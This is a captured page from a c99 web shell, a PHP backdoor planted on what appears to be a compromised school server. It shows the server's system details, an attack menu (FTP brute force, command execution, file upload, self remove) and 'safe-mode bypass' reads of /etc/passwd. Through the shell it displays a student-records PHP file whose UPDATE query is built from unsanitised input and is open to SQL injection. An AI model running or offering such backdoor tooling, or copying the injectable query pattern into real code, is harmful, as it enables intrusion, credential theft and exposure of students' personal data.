!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/PI11/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Edit.php (1.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include("../../../include/FunctionDB.php");
    
ConnectDB();            
//code  Student_id  Year_grad  Pass_test  Times  Past_test  Work_addr  Work_place  Contact_addr  Work_status  Position  Level  Depart_name  Depart  Date_w1  Date_w11  Date_w2  Date_w22  Date_w3  Date_w33  Work_change  Income_m  Income_y  Status  Degree1  Degree2  Award_in  Award_out 
$Status 1;
$sql "UPDATE std_success_tb SET Student_id='$Student_id',Year_grad='$Year_grad',Pass_test='$Pass_test',Times='$Times',Past_test='$Past_test',Work_addr='$Work_addr', Work_place='$Work_place',Contact_addr='$Contact_addr',Work_status='$Work_status',Position='$Position',Level='$Level',Depart_name='$Depart_name',Depart='$Depart',Date_w1='$Date_w1',Date_w11='$Date_w11',Date_w2='$Date_w2',Date_w22='$Date_w22',Date_w3='$Date_w3',Date_w33='$Date_w33',Work_change='$Work_change',Income_m='$Income_m',Income_y='$Income_y',Status='$Status',Learn_flag='$Learn_flag',Degree1='$Degree1',Degree2='$Degree2',Award_in='$Award_in',Award_out='$Award_out'  WHERE Student_id ='$Student_id' ";
$result mysql_query($sql) or die("Update Error $sql".mysql_error());
   echo
"<center><font face=\"Tahoma\"size=\"6\" color=\"#FF0000\">Update Complete</font></center>";
  echo
"<meta http-equiv=\"refresh\" content=\"1;URL=ShowStdSucc.php?Student_id=$Student_id\">";
//    header("Location:EditPunishList.php?Student_id=$Student_id");                
        
CloseDB();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]--